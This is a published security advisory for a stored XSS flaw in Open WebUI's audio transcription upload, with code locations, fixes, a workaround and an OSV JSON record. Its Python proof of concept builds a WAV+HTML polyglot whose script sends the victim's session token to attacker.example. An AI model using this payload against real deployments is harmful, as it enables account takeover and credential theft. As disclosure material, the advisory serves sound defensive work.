PYSEC-2026-2748
Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:05Summary
The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded runs in the Open WebUI origin.
Details
Verified on main @ 8dae237a (v0.9.2):
- backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
allowlist, no cross-check against file.content_type.
- backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
and sets no Content-Disposition.
- backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload
passes regardless of the actual body.
- backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
- src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
- backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.
PoC
Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx
data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI',
b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)'
r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/
```
https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408
Impact
Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.
Affected: <= 0.9.2.
Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.
Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.
| Name | purl | open-webui | pkg:pypi/open-webui |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui",
"purl": "pkg:pypi/open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.124",
"0.1.125",
"0.2.0",
"0.2.1",
"0.2.2",
"0.2.3",
"0.2.4",
"0.2.5",
"0.3.0",
"0.3.1",
"0.3.10",
"0.3.12",
"0.3.13",
"0.3.14",
"0.3.15",
"0.3.16",
"0.3.17",
"0.3.17.dev2",
"0.3.17.dev3",
"0.3.17.dev4",
"0.3.17.dev5",
"0.3.18",
"0.3.19",
"0.3.2",
"0.3.20",
"0.3.21",
"0.3.22",
"0.3.23",
"0.3.24",
"0.3.25",
"0.3.26",
"0.3.27",
"0.3.27.dev1",
"0.3.27.dev2",
"0.3.27.dev3",
"0.3.28",
"0.3.29",
"0.3.3",
"0.3.30",
"0.3.30.dev1",
"0.3.30.dev2",
"0.3.31",
"0.3.31.dev1",
"0.3.32",
"0.3.33",
"0.3.33.dev1",
"0.3.34",
"0.3.35",
"0.3.4",
"0.3.5",
"0.3.6",
"0.3.7",
"0.3.8",
"0.3.9",
"0.4.0",
"0.4.0.dev1",
"0.4.0.dev2",
"0.4.1",
"0.4.2",
"0.4.3",
"0.4.4",
"0.4.5",
"0.4.6",
"0.4.6.dev1",
"0.4.7",
"0.4.8",
"0.5.0",
"0.5.0.dev1",
"0.5.0.dev2",
"0.5.1",
"0.5.10",
"0.5.11",
"0.5.12",
"0.5.13",
"0.5.14",
"0.5.15",
"0.5.16",
"0.5.17",
"0.5.18",
"0.5.19",
"0.5.2",
"0.5.20",
"0.5.3",
"0.5.3.dev1",
"0.5.4",
"0.5.5",
"0.5.6",
"0.5.7",
"0.5.8",
"0.5.9",
"0.6.0",
"0.6.1",
"0.6.10",
"0.6.11",
"0.6.12",
"0.6.13",
"0.6.14",
"0.6.15",
"0.6.16",
"0.6.18",
"0.6.19",
"0.6.2",
"0.6.20",
"0.6.21",
"0.6.22",
"0.6.23",
"0.6.24",
"0.6.25",
"0.6.26",
"0.6.26.dev1",
"0.6.27",
"0.6.28",
"0.6.29",
"0.6.3",
"0.6.30",
"0.6.31",
"0.6.32",
"0.6.33",
"0.6.34",
"0.6.35",
"0.6.36",
"0.6.37",
"0.6.38",
"0.6.39",
"0.6.4",
"0.6.40",
"0.6.41",
"0.6.42",
"0.6.43",
"0.6.5",
"0.6.6",
"0.6.6.dev1",
"0.6.7",
"0.6.8",
"0.6.9",
"0.7.0",
"0.7.1",
"0.7.2",
"0.8.0",
"0.8.1",
"0.8.10",
"0.8.11",
"0.8.12",
"0.8.2",
"0.8.3",
"0.8.4",
"0.8.5",
"0.8.6",
"0.8.7",
"0.8.8",
"0.8.9",
"0.9.0",
"0.9.1",
"0.9.2"
]
}
],
"aliases": [
"CVE-2026-45315",
"GHSA-m8f9-9whg-f4xr"
],
"details": "## Summary \n\n The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL \u2014 the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n Verified on main @ 8dae237a (v0.9.2): \n - backend/open_webui/routers/audio.py:1244-1249 \u2014 ext = safe_name.rsplit(\u0027.\u0027, 1)[-1] from user-supplied filename, then filename = f\u0027{id}.{ext}\u0027. No \n allowlist, no cross-check against file.content_type. \n - backend/open_webui/main.py:2768-2779 \u2014 /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension \n and sets no Content-Disposition. \n - backend/open_webui/utils/misc.py:889-921 \u2014 strict_match_mime_type defaults to [\u0027audio/*\u0027, \u0027video/webm\u0027], so Content-Type: audio/wav on the upload\n passes regardless of the actual body. \n - backend/open_webui/config.py:1482 \u2014 USER_PERMISSIONS_CHAT_STT defaults to True. \n - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, \u2026) \u2014 JWT lives in localStorage.token, reachable from JS in the origin. \n - backend/open_webui/utils/oauth.py:1736-1739 \u2014 OAuth token cookie set with httponly=False. \n \n## PoC \n \n Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n ```python\n import struct, httpx \n\n data = b\u0027\\x80\u0027 * 44100 \n wav = struct.pack(\u0027\u003c4sI4s4sIHHIIHH4sI\u0027,\n b\u0027RIFF\u0027, 36 + len(data), b\u0027WAVE\u0027, \n b\u0027fmt \u0027, 16, 1, 1, 44100, 44100, 1, 8, \n b\u0027data\u0027, len(data)) + data \n payload = wav + b\u0027\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e\u0027\n \n \n r = httpx.post( \n \u0027https://VICTIM/api/v1/audio/transcriptions\u0027, \n headers={\u0027Authorization\u0027: f\u0027Bearer {ATTACKER_JWT}\u0027}, \n files={\u0027file\u0027: (\u0027pwn.html\u0027, payload, \u0027audio/wav\u0027)}, \n ) \n fn = r.json()[\u0027filename\u0027] # \u0027\u003cuuid\u003e.html\u0027\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n \n## Impact \n \n Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user \u2014 including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI\u0027s existing admin-only plugin mechanism, but that path is out of scope for this report. \n\n Affected: \u003c= 0.9.2.\n\n Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force \n Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n \n Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.",
"id": "PYSEC-2026-2748",
"modified": "2026-07-13T16:05:14.178691Z",
"published": "2026-07-13T15:19:06.047378Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45315"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/open-webui"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-m8f9-9whg-f4xr"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.